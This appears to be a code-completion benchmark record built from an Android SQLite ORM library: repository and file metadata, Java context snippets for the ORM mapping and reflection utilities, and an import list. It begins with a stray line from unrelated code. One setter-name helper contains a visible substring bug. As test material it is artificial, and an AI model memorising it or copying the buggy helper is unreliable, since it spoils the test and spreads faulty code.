stsize = AppMarketUtils.getAppSize(Long.parseLong(stsize))
5
chenyihan/Simple-SQLite-ORM-Android
src/org/cyy/fw/android/dborm/sqlite/SQLBuilder.java
[ "public final class ORMUtil {\n\tprivate ORMUtil() {\n\t\tsuper();\n\t}\n\n\t/**\n\t * \n\t * Look up relation target POJO class<BR>\n\t * \n\t * @param mainClass\n\t * relation source class\n\t * @param childFieldName\n\t * relation attribute name\n\t * @return the target class, null if failed to look up\n\t * @throws NoSuchFieldException\n\t * \n\t */\n\tpublic static Class<?> findAssoTargetClass(Class<?> mainClass,\n\t\t\tString childFieldName) throws NoSuchFieldException {\n\t\tField firstChildField = mainClass.getDeclaredField(childFieldName);\n\t\tClass<?> fieldType = firstChildField.getType();\n\t\tClass<?> childClass = null;\n\t\tif (fieldType.isAssignableFrom(List.class)\n\t\t\t\t|| fieldType.isAssignableFrom(Vector.class)) {\n\t\t\t// look up generic type\n\t\t\tParameterizedType paraType = (ParameterizedType) firstChildField\n\t\t\t\t\t.getGenericType();\n\t\t\t// must specify the generic type\n\t\t\tif (paraType != null) {\n\t\t\t\tClass<?> paraTypeClass = (Class<?>) paraType\n\t\t\t\t\t\t.getActualTypeArguments()[0];\n\t\t\t\tchildClass = paraTypeClass;\n\t\t\t}\n\t\t} else if (!fieldType.isAssignableFrom(Collection.class)\n\t\t\t\t&& !fieldType.isArray()\n\t\t\t\t&& !fieldType.isAssignableFrom(Map.class)) {\n\t\t\tchildClass = fieldType;\n\t\t}\n\t\treturn childClass;\n\t}\n\n\t/**\n\t * \n\t * Obtain the O-R mapping info of the specified POJO class<BR>\n\t * \n\t * @param orMapper\n\t * mapping tool\n\t * @param clazz\n\t * POJO class\n\t * @param tableMap\n\t * table names map\n\t * @return O-R mapping info\n\t */\n\tpublic static ORMapInfo getOrMapInfo(ORMapper orMapper, Class<?> clazz,\n\t\t\tMap<Class<?>, String> tableMap) {\n\t\tORMapInfo mapInfo = orMapper.generateColumnMap(clazz,\n\t\t\t\ttableMap == null ? null : tableMap.get(clazz));\n\t\treturn mapInfo;\n\t}\n\n\t// public static ORMapInfo findORMInfoByTableName(Class<?> mainClass,\n\t// String tableName, ORMapper orMapper, Map<Class<?>, String> tableMap) {\n\t// ORMapInfo mapInfo = getOrMapInfo(orMapper, mainClass, tableMap);\n\t// if (mapInfo == null) {\n\t// return null;\n\t// }\n\t// if (ObjectUtil.isEqual(mapInfo.getTableName(), tableName)) {\n\t// return mapInfo;\n\t// }\n\t// Set<Entry<Class<?>, AssociateInfo>> entrySet = mapInfo\n\t// .getAssociateInfo().entrySet();\n\t// for (Entry<Class<?>, AssociateInfo> entry : entrySet) {\n\t// AssociateInfo assInfo = entry.getValue();\n\t// if (assInfo == null) {\n\t// continue;\n\t// }\n\t// Class<?> childClass = assInfo.getTarget();\n\t// ORMapInfo relationORMInfo = findORMInfoByTableName(childClass,\n\t// tableName, orMapper, tableMap);\n\t// if (relationORMInfo != null) {\n\t// return relationORMInfo;\n\t// }\n\t// }\n\t// return null;\n\t// }\n\n\t/**\n\t * \n\t * Obtain the primary key value of POJO<BR>\n\t * \n\t * @param value\n\t * POJO\n\t * @param mapInfo\n\t * O-R mapping info\n\t * @return the value of primary key\n\t */\n\tpublic static Object getPkValue(Object value, ORMapInfo mapInfo) {\n\t\tif (value == null) {\n\t\t\tthrow new NullPointerException(\n\t\t\t\t\t\"invalid paramter, pass non-null value please\");\n\t\t}\n\t\tString pkFieldName = mapInfo.getPrimaryKeyField();\n\t\tif (pkFieldName == null) {\n\t\t\treturn null;\n\t\t}\n\t\tObject fieldValue = ReflectUtil.getValueOfField(value, pkFieldName);\n\t\treturn fieldValue;\n\t}\n\n\t/**\n\t * \n\t * mapping attributes to columns<BR>\n\t * \n\t * @param fields\n\t * names of POJO's attributes\n\t * @param mapInfo\n\t * O-R mapping info\n\t * @return columns of DB table\n\t */\n\tpublic static String[] mappingColumnByField(String[] fields,\n\t\t\tORMapInfo mapInfo) {\n\t\tif (fields == null) {\n\t\t\treturn null;\n\t\t}\n\t\tList<String> columnList = new ArrayList<String>();\n\t\tfor (String field : fields) {\n\t\t\tString column = mapInfo.getFieldColumnMap().get(field);\n\t\t\tif (column == null) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcolumnList.add(column);\n\t\t}\n\t\treturn columnList.toArray(new String[columnList.size()]);\n\t}\n\n\tpublic static String createUID(UniqueIDGenerator idGenerator) {\n\t\treturn (String) idGenerator.generateUID();\n\t}\n\n\t/**\n\t * \n\t * filter out primary keys of null value<BR>\n\t * \n\t * @param pks\n\t * original primary keys\n\t * @return primary keys after filtering out\n\t */\n\tpublic static Object[] filtNullPks(Object[] pks) {\n\t\tList<Object> list = new ArrayList<Object>();\n\t\tfor (Object pk : pks) {\n\t\t\tif (pk != null && !list.contains(pk)) {\n\t\t\t\tlist.add(pk);\n\t\t\t}\n\t\t}\n\t\treturn list.toArray(new Object[list.size()]);\n\t}\n}", "public class ORMapInfo {\n\t/**\n\t * \n\t * relation info<BR>\n\t * \n\t * @author cyy\n\t * @version [V1.0, 2012-11-17]\n\t */\n\tpublic static class AssociateInfo {\n\t\tprivate String field;\n\t\tprivate String sourceField;\n\t\tprivate Class<?> target;\n\t\tprivate String targetField;\n\n\t\tpublic String getField() {\n\t\t\treturn field;\n\t\t}\n\n\t\tpublic String getSourceField() {\n\t\t\treturn sourceField;\n\t\t}\n\n\t\tpublic Class<?> getTarget() {\n\t\t\treturn target;\n\t\t}\n\n\t\tpublic String getTargetField() {\n\t\t\treturn targetField;\n\t\t}\n\n\t\tpublic void setField(String field) {\n\t\t\tthis.field = field;\n\t\t}\n\n\t\tpublic void setSourceField(String sourceField) {\n\t\t\tthis.sourceField = sourceField;\n\t\t}\n\n\t\tpublic void setTarget(Class<?> target) {\n\t\t\tthis.target = target;\n\t\t}\n\n\t\tpublic void setTargetField(String targetField) {\n\t\t\tthis.targetField = targetField;\n\t\t}\n\n\t}\n\n\t/**\n\t * relation info\n\t */\n\tprivate Map<Class<?>, AssociateInfo> associateInfo = new HashMap<Class<?>, AssociateInfo>();\n\t/**\n\t * Class\n\t */\n\tprivate Class<?> clazz;\n\t/**\n\t * \n\t * table column->class attribute mappings\n\t */\n\tprivate Map<String, String> columnFieldMap = new HashMap<String, String>();\n\t/**\n\t * class attribute->table column mappings\n\t */\n\tprivate Map<String, String> fieldColumnMap = new HashMap<String, String>();\n\t/**\n\t * Primary key generated by framework\n\t */\n\tprivate boolean genUIDBySelf;\n\t/**\n\t * auto-increment primary key\n\t */\n\tprivate boolean pkSequence;\n\n\tprivate String primaryKeyColumn;\n\n\tprivate String primaryKeyField;\n\n\tprivate String tableName;\n\n\tpublic Map<Class<?>, AssociateInfo> getAssociateInfo() {\n\t\treturn associateInfo;\n\t}\n\n\tpublic Class<?> getClazz() {\n\t\treturn clazz;\n\t}\n\n\tpublic Map<String, String> getColumnFieldMap() {\n\t\treturn columnFieldMap;\n\t}\n\n\tpublic Map<String, String> getFieldColumnMap() {\n\t\treturn fieldColumnMap;\n\t}\n\n\tpublic String getPrimaryKeyColumn() {\n\t\treturn primaryKeyColumn;\n\t}\n\n\tpublic String getPrimaryKeyField() {\n\t\treturn primaryKeyField;\n\t}\n\n\tpublic String getTableName() {\n\t\treturn tableName;\n\t}\n\n\tpublic boolean isGenUIDBySelf() {\n\t\treturn genUIDBySelf;\n\t}\n\n\tpublic boolean isPkSequence() {\n\t\treturn pkSequence;\n\t}\n\n\tpublic void setAssociateInfo(Map<Class<?>, AssociateInfo> associateInfo) {\n\t\tthis.associateInfo = associateInfo;\n\t}\n\n\tpublic void setClazz(Class<?> clazz) {\n\t\tthis.clazz = clazz;\n\t}\n\n\tpublic void setColumnFieldMap(Map<String, String> columnFieldMap) {\n\t\tthis.columnFieldMap = columnFieldMap;\n\t}\n\n\tpublic void setFieldColumnMap(Map<String, String> columnMap) {\n\t\tthis.fieldColumnMap = columnMap;\n\t}\n\n\tpublic void setGenUIDBySelf(boolean genUIDBySelf) {\n\t\tthis.genUIDBySelf = genUIDBySelf;\n\t}\n\n\tpublic void setPkSequence(boolean pkSequence) {\n\t\tthis.pkSequence = pkSequence;\n\t}\n\n\tpublic void setPrimaryKeyColumn(String primaryKeyColumn) {\n\t\tthis.primaryKeyColumn = primaryKeyColumn;\n\t}\n\n\tpublic void setPrimaryKeyField(String primaryKeyField) {\n\t\tthis.primaryKeyField = primaryKeyField;\n\t}\n\n\tpublic void setTableName(String tableName) {\n\t\tthis.tableName = tableName;\n\t}\n\n}", "public static class AssociateInfo {\n\tprivate String field;\n\tprivate String sourceField;\n\tprivate Class<?> target;\n\tprivate String targetField;\n\n\tpublic String getField() {\n\t\treturn field;\n\t}\n\n\tpublic String getSourceField() {\n\t\treturn sourceField;\n\t}\n\n\tpublic Class<?> getTarget() {\n\t\treturn target;\n\t}\n\n\tpublic String getTargetField() {\n\t\treturn targetField;\n\t}\n\n\tpublic void setField(String field) {\n\t\tthis.field = field;\n\t}\n\n\tpublic void setSourceField(String sourceField) {\n\t\tthis.sourceField = sourceField;\n\t}\n\n\tpublic void setTarget(Class<?> target) {\n\t\tthis.target = target;\n\t}\n\n\tpublic void setTargetField(String targetField) {\n\t\tthis.targetField = targetField;\n\t}\n\n}", "public interface ORMapper {\n\t/**\n\t * \n\t * generate all the O-R mapping information<BR>\n\t * One POJO class may be mapped to several tables\n\t * \n\t * @param clazz\n\t * POJO class\n\t * @return mapping info\n\t */\n\tORMapInfo[] generateAllTableColumnMap(Class<?> clazz);\n\n\t/**\n\t * \n\t * generate one O-R mapping object, if the class class is mapped to more\n\t * than one tables, return the first table<BR>\n\t * \n\t * @param clazz\n\t * POJO class\n\t * @deprecated It's suggested to use\n\t * {@link #generateColumnMap(Class, String)} instead\n\t * @return mapping info\n\t */\n\tORMapInfo generateColumnMap(Class<?> clazz);\n\n\t/**\n\t * \n\t * generate mapping info of specified table<BR>\n\t * \n\t * @param clazz\n\t * POJO class\n\t * @param tableName\n\t * The specified table name, the first table's info will be\n\t * returned if this parameter is null\n\t * @return mapping info\n\t */\n\tORMapInfo generateColumnMap(Class<?> clazz, String tableName);\n}", "public class ObjectUtil {\n\tpublic static String[] toStringArray(Object[] values) {\n\t\tif (values == null) {\n\t\t\treturn null;\n\t\t}\n\t\tString[] strArr = new String[values.length];\n\t\tfor (int i = 0; i < values.length; i++) {\n\t\t\tif (values[i] == null) {\n\t\t\t\tstrArr[i] = null;\n\t\t\t} else\n\t\t\t\tstrArr[i] = values[i].toString();\n\t\t}\n\t\treturn strArr;\n\t}\n\n\tpublic static boolean isArrayEmpty(Object[] array) {\n\t\treturn (array == null) || (array.length == 0);\n\t}\n\n\tpublic static boolean isArrayEmpty(long[] array) {\n\t\treturn (array == null) || (array.length == 0);\n\t}\n\n\tpublic static boolean isBoolean(Object object) {\n\t\tif (object == null) {\n\t\t\tthrow new IllegalArgumentException(\"invalid parameter.\");\n\t\t}\n\t\tClass<?> clazz = object.getClass();\n\t\treturn ReflectUtil.isBooleanType(clazz);\n\t}\n\n\tpublic static boolean isByteType(Object object) {\n\t\tif (object == null) {\n\t\t\tthrow new IllegalArgumentException(\"invalid parameter.\");\n\t\t}\n\t\tClass<?> clazz = object.getClass();\n\t\treturn ReflectUtil.isByteType(clazz);\n\t}\n\n\tpublic static boolean isChar(Object object) {\n\t\tif (object == null) {\n\t\t\tthrow new IllegalArgumentException(\"invalid parameter.\");\n\t\t}\n\t\tClass<?> clazz = object.getClass();\n\t\treturn ReflectUtil.isCharType(clazz);\n\t}\n\n\tpublic static boolean isDouble(Object object) {\n\t\tif (object == null) {\n\t\t\tthrow new IllegalArgumentException(\"invalid parameter.\");\n\t\t}\n\t\tClass<?> clazz = object.getClass();\n\t\treturn ReflectUtil.isDoubleType(clazz);\n\t}\n\n\tpublic static boolean isEqual(Object obj1, Object obj2) {\n\t\tif (obj1 == null) {\n\t\t\treturn obj2 == null;\n\t\t}\n\t\treturn obj1.equals(obj2);\n\t}\n\n\tpublic static boolean isFloat(Object object) {\n\t\tif (object == null) {\n\t\t\tthrow new IllegalArgumentException(\"invalid parameter.\");\n\t\t}\n\t\tClass<?> clazz = object.getClass();\n\t\treturn ReflectUtil.isFloatType(clazz);\n\t}\n\n\tpublic static boolean isInteger(Object object) {\n\t\tif (object == null) {\n\t\t\tthrow new IllegalArgumentException(\"invalid parameter.\");\n\t\t}\n\t\tClass<?> clazz = object.getClass();\n\t\treturn ReflectUtil.isIntegerType(clazz);\n\t}\n\n\tpublic static boolean isLong(Object object) {\n\t\tif (object == null) {\n\t\t\tthrow new IllegalArgumentException(\"invalid parameter.\");\n\t\t}\n\t\tClass<?> clazz = object.getClass();\n\t\treturn ReflectUtil.isLongType(clazz);\n\t}\n\n\tpublic static boolean isPrimitiveType(Object object) {\n\t\tif (object == null) {\n\t\t\tthrow new IllegalArgumentException(\"invalid parameter.\");\n\t\t}\n\t\tClass<?> clazz = object.getClass();\n\t\treturn ReflectUtil.isPrimitiveType(clazz);\n\t}\n\n\tpublic static boolean isShort(Object object) {\n\t\tif (object == null) {\n\t\t\tthrow new IllegalArgumentException(\"invalid parameter.\");\n\t\t}\n\t\tClass<?> clazz = object.getClass();\n\t\treturn ReflectUtil.isShortType(clazz);\n\t}\n\n\tpublic static <T extends Serializable> int sizeOf(T obj) {\n\t\ttry {\n\t\t\tByteArrayOutputStream byteOs = new ByteArrayOutputStream();\n\t\t\tObjectOutputStream objOutputStream = new ObjectOutputStream(byteOs);\n\t\t\tobjOutputStream.writeObject(obj);\n\t\t\tint size = byteOs.size();\n\t\t\treturn size;\n\t\t} catch (IOException e) {\n\t\t\tthrow new IllegalStateException(e);\n\t\t}\n\t}\n}", "public class POJOClassDefineException extends RuntimeException {\n\n\t/**\n\t * serialVersionUID\n\t */\n\tprivate static final long serialVersionUID = 659144459683878606L;\n\n\tpublic POJOClassDefineException() {\n\t\tsuper();\n\t}\n\n\tpublic POJOClassDefineException(String detailMessage) {\n\t\tsuper(detailMessage);\n\t}\n\n\tpublic POJOClassDefineException(String detailMessage, Throwable throwable) {\n\t\tsuper(detailMessage, throwable);\n\t}\n\n\tpublic POJOClassDefineException(Throwable throwable) {\n\t\tsuper(throwable);\n\t}\n\n}", "public class ReflectUtil {\n\n\tpublic static final String TAG = \"ReflectUtil\";\n\tprivate static final WeakHashMap<Field, Method> setterCache = new WeakHashMap<Field, Method>();\n\n\tprivate static final WeakHashMap<Field, Method> getterCache = new WeakHashMap<Field, Method>();\n\n\tpublic static String generateGetterName(String fieldName) {\n\t\treturn generateGetterName(fieldName, false);\n\t}\n\n\tpublic static String generateGetterName(String fieldName,\n\t\t\tboolean isPrimitiveBoolean) {\n\t\tString firstCH = \"\" + fieldName.charAt(0);\n\t\tCharacter secondCH = null;\n\t\tif (fieldName.length() > 1) {\n\t\t\tsecondCH = Character.valueOf(fieldName.charAt(1));\n\t\t}\n\t\tString getterName = null;\n\t\tString replaceStr = null;\n\t\tif ((secondCH == null)\n\t\t\t\t|| (!Character.isUpperCase(secondCH.charValue()))) {\n\t\t\treplaceStr = fieldName.replaceFirst(firstCH, firstCH.toUpperCase());\n\t\t} else {\n\t\t\treplaceStr = fieldName;\n\t\t}\n\t\tif (isPrimitiveBoolean) {\n\t\t\tgetterName = \"is\" + replaceStr;\n\t\t} else {\n\t\t\tgetterName = \"get\" + replaceStr;\n\t\t}\n\t\treturn getterName;\n\t}\n\n\tpublic static String generateSetterName(String fieldName) {\n\t\tif (TextUtils.isEmpty(fieldName)) {\n\t\t\tthrow new IllegalArgumentException(\"invalid field.\");\n\t\t}\n\t\tString firstCH = fieldName.substring(0);\n\t\tCharacter secondCH = null;\n\t\tif (fieldName.length() > 1) {\n\t\t\tsecondCH = Character.valueOf(fieldName.charAt(1));\n\t\t}\n\t\tString setterName = null;\n\t\tif ((secondCH == null)\n\t\t\t\t|| (!Character.isUpperCase(secondCH.charValue()))) {\n\t\t\tsetterName = \"set\"\n\t\t\t\t\t+ fieldName.replaceFirst(firstCH, firstCH.toUpperCase());\n\t\t} else {\n\t\t\tsetterName = \"set\" + fieldName;\n\t\t}\n\t\treturn setterName;\n\t}\n\n\tpublic static Field getDeclaredField(Object object, String fieldName) {\n\t\tField field = null;\n\n\t\tClass<?> clazz = object.getClass();\n\n\t\twhile (clazz != Object.class) {\n\t\t\ttry {\n\t\t\t\tfield = clazz.getDeclaredField(fieldName);\n\t\t\t\treturn field;\n\t\t\t} catch (Exception e) {\n\t\t\t\tLog.i(\"ReflectUtil File\", \"\");\n\n\t\t\t\tclazz = clazz.getSuperclass();\n\t\t\t}\n\n\t\t}\n\n\t\treturn null;\n\t}\n\n\tpublic static List<Field[]> getDeclaredFieldsIncludeInherit(Class<?> clazz) {\n\t\tList<Field[]> list = new ArrayList<Field[]>();\n\t\tfor (Class<?> c = clazz; c != null; c = c.getSuperclass()) {\n\t\t\tField[] fields = c.getDeclaredFields();\n\t\t\tlist.add(fields);\n\t\t}\n\t\treturn list;\n\t}\n\n\tpublic static Method getDeclaredMethod(Object object, String methodName,\n\t\t\tClass<?>[] parameterTypes) {\n\t\tMethod method = null;\n\n\t\tfor (Class<?> clazz = object.getClass(); clazz != Object.class;) {\n\t\t\ttry {\n\t\t\t\tmethod = clazz.getDeclaredMethod(methodName, parameterTypes);\n\t\t\t\treturn method;\n\t\t\t} catch (Exception e) {\n\t\t\t\tLog.i(\"ReflectUtil File\", \"\");\n\n\t\t\t\tclazz = clazz.getSuperclass();\n\t\t\t}\n\n\t\t}\n\n\t\treturn null;\n\t}\n\n\tpublic static Method getGetter(Field field) {\n\t\tString fieldName = field.getName();\n\t\tMethod getter = (Method) getterCache.get(field);\n\t\tif (getter != null) {\n\t\t\treturn getter;\n\t\t}\n\t\tString methodName = generateGetterName(fieldName,\n\t\t\t\tfield.getType() == Boolean.TYPE);\n\t\tClass<?> clazz = field.getDeclaringClass();\n\t\ttry {\n\t\t\tgetter = clazz.getMethod(methodName, (Class<?>[]) null);\n\t\t\tgetterCache.put(field, getter);\n\t\t\treturn getter;\n\t\t} catch (SecurityException e) {\n\t\t\treturn null;\n\t\t} catch (NoSuchMethodException e) {\n\t\t}\n\t\treturn null;\n\t}\n\n\tpublic static Method getSetter(Field field) {\n\t\tString fieldName = field.getName();\n\t\tMethod setter = (Method) setterCache.get(field);\n\t\tif (setter != null) {\n\t\t\treturn setter;\n\t\t}\n\t\tString methodName = generateSetterName(fieldName);\n\t\tClass<?> clazz = field.getDeclaringClass();\n\t\ttry {\n\t\t\tsetter = clazz.getMethod(methodName,\n\t\t\t\t\tnew Class[] { field.getType() });\n\t\t\tsetterCache.put(field, setter);\n\t\t\treturn setter;\n\t\t} catch (SecurityException e) {\n\t\t\treturn null;\n\t\t} catch (NoSuchMethodException e) {\n\t\t}\n\t\treturn null;\n\t}\n\n\tpublic static Object getValue(Object object, String fieldName) {\n\t\tif (object == null) {\n\t\t\treturn null;\n\t\t}\n\t\tClass<?> clazz = object.getClass();\n\t\ttry {\n\t\t\tField field = clazz.getDeclaredField(fieldName);\n\t\t\tMethod getter = getGetter(field);\n\t\t\tif (getter == null) {\n\t\t\t\tthrow new IllegalArgumentException(\"getValue:\"\n\t\t\t\t\t\t+ object.getClass().getName() + \".\" + fieldName\n\t\t\t\t\t\t+ \" getter not found\");\n\t\t\t}\n\n\t\t\treturn getter.invoke(object);\n\t\t} catch (Exception e) {\n\t\t\tLog.e(\"ReflectUtil File\", \"getValue\", e);\n\t\t}\n\n\t\treturn null;\n\t}\n\n\tpublic static Object getValueOfField(Object object, String fieldName) {\n\t\tif (object == null) {\n\t\t\treturn null;\n\t\t}\n\t\tClass<?> clazz = object.getClass();\n\t\ttry {\n\t\t\tfinal Field field = clazz.getDeclaredField(fieldName);\n\t\t\tMethod getter = getGetter(field);\n\n\t\t\tif (getter != null) {\n\t\t\t\treturn getter.invoke(object);\n\t\t\t}\n\n\t\t\tfield.setAccessible(true);\n\t\t\treturn field.get(object);\n\t\t} catch (NoSuchFieldException e) {\n\t\t\tthrow new IllegalArgumentException(e);\n\t\t} catch (IllegalAccessException e) {\n\t\t\tthrow new IllegalArgumentException(e);\n\t\t} catch (InvocationTargetException e) {\n\t\t\tthrow new IllegalArgumentException(e);\n\t\t}\n\t}\n\n\t// public static Object invokeMethodNoParams(Class<?> mClass, Object obj,\n\t// String methodName) {\n\t// Method method = null;\n\t// Object result = null;\n\t// try {\n\t// method = mClass.getMethod(methodName, new Class[0]);\n\t// result = method.invoke(obj, new Object[0]);\n\t// } catch (Exception e) {\n\t// Log.e(\"ReflectUtil File\",\n\t// \"Exception in invokeMethod:\" + methodName, e);\n\t// }\n\t//\n\t// return result;\n\t// }\n\n\t// public static Object invokeMethodWithParams(Class<?> mClass, Object obj,\n\t// String methodName, Object[] args, Class<?>[] types) {\n\t// Method method = null;\n\t// Object result = null;\n\t// try {\n\t// method = mClass.getMethod(methodName, types);\n\t// result = method.invoke(obj, args);\n\t// } catch (Exception e) {\n\t// Log.e(\"ReflectUtil File\",\n\t// \"Exception in invokeMethod:\" + methodName, e);\n\t// }\n\t//\n\t// return result;\n\t// }\n\n\tpublic static boolean isBooleanType(Class<?> type) {\n\t\treturn (type == Boolean.class) || (type == Boolean.TYPE);\n\t}\n\n\tpublic static boolean isByteType(Class<?> type) {\n\t\treturn (type == Byte.class) || (type == Byte.TYPE);\n\t}\n\n\tpublic static boolean isCharType(Class<?> type) {\n\t\treturn (type == Character.class) || (type == Character.TYPE);\n\t}\n\n\tpublic static boolean isDoubleType(Class<?> type) {\n\t\treturn (type == Double.class) || (type == Double.TYPE);\n\t}\n\n\tpublic static boolean isFinal(Field field) {\n\t\treturn Modifier.isFinal(field.getModifiers());\n\t}\n\n\tpublic static boolean isFloatType(Class<?> type) {\n\t\treturn (type == Float.class) || (type == Float.TYPE);\n\t}\n\n\tpublic static boolean isIntegerType(Class<?> type) {\n\t\treturn (type == Integer.class) || (type == Integer.TYPE);\n\t}\n\n\tpublic static boolean isLongType(Class<?> type) {\n\t\treturn (type == Long.class) || (type == Long.TYPE);\n\t}\n\n\tpublic static boolean isPrimitiveType(Class<?> type) {\n\t\tif (type.isPrimitive()) {\n\t\t\treturn true;\n\t\t}\n\t\tif (type == Boolean.class) {\n\t\t\treturn true;\n\t\t}\n\t\tif (type == Character.class) {\n\t\t\treturn true;\n\t\t}\n\t\tif (type == Byte.class) {\n\t\t\treturn true;\n\t\t}\n\t\tif (type == Short.class) {\n\t\t\treturn true;\n\t\t}\n\t\tif (type == Integer.class) {\n\t\t\treturn true;\n\t\t}\n\t\tif (type == Long.class) {\n\t\t\treturn true;\n\t\t}\n\t\tif (type == Float.class) {\n\t\t\treturn true;\n\t\t}\n\n\t\treturn type == Double.class;\n\t}\n\n\tpublic static boolean isShortType(Class<?> type) {\n\t\treturn type == Short.class;\n\t}\n\n\tpublic static boolean isStatic(Field field) {\n\t\treturn Modifier.isStatic(field.getModifiers());\n\t}\n\n\tpublic static void setField(Class<?> fClass, Object obj, String fieldName,\n\t\t\tObject fieldValue) {\n\t\tField field = null;\n\t\ttry {\n\t\t\tfield = fClass.getField(fieldName);\n\t\t\tfield.set(obj, fieldValue);\n\t\t} catch (Exception e) {\n\t\t\tLog.e(\"ReflectUtil File\", \"Exception in setField:\" + fieldName, e);\n\t\t}\n\t}\n\n\tpublic static void setFieldValue(Object object, String fieldName,\n\t\t\tObject value) {\n\t\tfinal Field field = getDeclaredField(object, fieldName);\n\t\ttry {\n\t\t\tfield.setAccessible(true);\n\t\t\tfield.set(object, value);\n\t\t} catch (IllegalArgumentException e) {\n\t\t\tLog.e(\"ReflectUtil File\", e.getMessage(), e);\n\t\t} catch (IllegalAccessException e) {\n\t\t\tLog.e(\"ReflectUtil File\", e.getMessage(), e);\n\t\t}\n\t}\n\n\tpublic static void setValue(Object object, String fieldName, Object value) {\n\t\tif (object == null) {\n\t\t\treturn;\n\t\t}\n\t\tClass<?> clazz = object.getClass();\n\t\ttry {\n\t\t\tField field = clazz.getDeclaredField(fieldName);\n\t\t\tMethod setter = getSetter(field);\n\t\t\tsetter.invoke(object, value);\n\t\t} catch (NoSuchFieldException e) {\n\t\t\tthrow new IllegalArgumentException(e);\n\t\t} catch (IllegalAccessException e) {\n\t\t\tthrow new IllegalArgumentException(e);\n\t\t} catch (InvocationTargetException e) {\n\t\t\tthrow new IllegalArgumentException(e);\n\t\t}\n\t}\n\n\tpublic static boolean isBasicType(Class<?> clazz) {\n\t\treturn (clazz == Integer.TYPE) || (clazz == Long.TYPE)\n\t\t\t\t|| (clazz == Float.TYPE) || (clazz == Double.TYPE)\n\t\t\t\t|| (clazz == Character.TYPE) || (clazz == Byte.TYPE)\n\t\t\t\t|| (clazz == Short.TYPE);\n\t}\n\n\tpublic static Object getBasicTypeNullValue(Class<?> clazz) {\n\t\tif (clazz == Integer.TYPE) {\n\t\t\treturn Integer.valueOf(0);\n\t\t}\n\t\tif (clazz == Long.TYPE) {\n\t\t\treturn Long.valueOf(0L);\n\t\t}\n\t\tif (clazz == Float.TYPE) {\n\t\t\treturn Float.valueOf(0.0F);\n\t\t}\n\t\tif (clazz == Double.TYPE) {\n\t\t\treturn Double.valueOf(0.0D);\n\t\t}\n\t\tif (clazz == Byte.TYPE) {\n\t\t\treturn Byte.valueOf((byte) 0);\n\t\t}\n\t\tif (clazz == Short.TYPE) {\n\t\t\treturn Short.valueOf((short) 0);\n\t\t}\n\t\tif (clazz == Character.TYPE) {\n\t\t\treturn 0;\n\t\t}\n\t\tif (clazz == Boolean.TYPE) {\n\t\t\treturn Boolean.FALSE;\n\t\t}\n\n\t\treturn null;\n\t}\n\n\tpublic static void setValueOfField(Object object, String fieldName,\n\t\t\tObject value) {\n\t\tif (object == null) {\n\t\t\treturn;\n\t\t}\n\t\tClass<?> clazz = object.getClass();\n\t\ttry {\n\t\t\tfinal Field field = clazz.getDeclaredField(fieldName);\n\t\t\tMethod setter = getSetter(field);\n\t\t\tif (setter != null) {\n\t\t\t\tClass<?> paramType = setter.getParameterTypes()[0];\n\n\t\t\t\tif (value == null) {\n\t\t\t\t\tvalue = getBasicTypeNullValue(paramType);\n\t\t\t\t}\n\n\t\t\t\tsetter.invoke(object, value);\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tfield.setAccessible(true);\n\t\t\tif (value == null) {\n\t\t\t\tvalue = getBasicTypeNullValue(object.getClass());\n\t\t\t}\n\n\t\t\tfield.set(object, value);\n\t\t} catch (NoSuchFieldException e) {\n\t\t\tLog.e(\"ReflectUtil File\", \"setValueOfField:\"\n\t\t\t\t\t+ object.getClass().getName() + \"#\" + fieldName);\n\t\t\tthrow new IllegalArgumentException(e);\n\t\t} catch (IllegalAccessException e) {\n\t\t\tLog.e(\"ReflectUtil File\", \"setValueOfField:\"\n\t\t\t\t\t+ object.getClass().getName() + \"#\" + fieldName);\n\t\t\tthrow new IllegalArgumentException(e);\n\t\t} catch (InvocationTargetException e) {\n\t\t\tLog.e(\"ReflectUtil File\", \"setValueOfField:\"\n\t\t\t\t\t+ object.getClass().getName() + \"#\" + fieldName);\n\t\t\tthrow new IllegalArgumentException(e);\n\t\t} catch (IllegalArgumentException e) {\n\t\t\tLog.e(\"ReflectUtil File\", \"setValueOfField:\"\n\t\t\t\t\t+ object.getClass().getName() + \"#\" + fieldName + \"|\"\n\t\t\t\t\t+ value);\n\t\t\tthrow new IllegalArgumentException(e);\n\t\t}\n\t}\n}", "public class SQLObject {\n\tprivate Object[] bindArgs;\n\n\tprivate String sql;\n\n\tpublic SQLObject(String sql, Object[] bindArgs) {\n\t\tsuper();\n\t\tthis.sql = sql;\n\t\tthis.bindArgs = bindArgs;\n\t}\n\n\tpublic static SQLObject[] createSqls(List<String> sqls) {\n\t\tif (sqls == null) {\n\t\t\treturn null;\n\t\t}\n\t\tSQLObject[] sqlObjs = new SQLObject[sqls.size()];\n\t\tfor (int i = 0; i < sqlObjs.length; i++) {\n\t\t\tsqlObjs[i] = new SQLObject(sqls.get(i), null);\n\t\t}\n\t\treturn sqlObjs;\n\t}\n\n\tpublic Object[] getBindArgs() {\n\t\treturn bindArgs;\n\t}\n\n\tpublic String getSql() {\n\t\treturn sql;\n\t}\n\n\tpublic void setBindArgs(Object[] bindArgs) {\n\t\tthis.bindArgs = bindArgs;\n\t}\n\n\tpublic void setSql(String sql) {\n\t\tthis.sql = sql;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn \"SQLObject [bindArgs=\" + Arrays.toString(bindArgs) + \", sql=\"\n\t\t\t\t+ sql + \"]\";\n\t}\n\n}", "public interface UniqueIDGenerator {\n\n\t/**\n\t * Generate UID\n\t * \n\t * @return UID\n\t */\n\tObject generateUID();\n}" ]
import java.lang.reflect.Field; import java.lang.reflect.Modifier; import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Map.Entry; import java.util.Set; import java.util.Vector; import org.cyy.fw.android.dborm.ORMUtil; import org.cyy.fw.android.dborm.ORMapInfo; import org.cyy.fw.android.dborm.ORMapInfo.AssociateInfo; import org.cyy.fw.android.dborm.ORMapper; import org.cyy.fw.android.dborm.ObjectUtil; import org.cyy.fw.android.dborm.OneToAny; import org.cyy.fw.android.dborm.POJOClassDefineException; import org.cyy.fw.android.dborm.ReflectUtil; import org.cyy.fw.android.dborm.SQLObject; import org.cyy.fw.android.dborm.UniqueIDGenerator; import android.text.TextUtils;
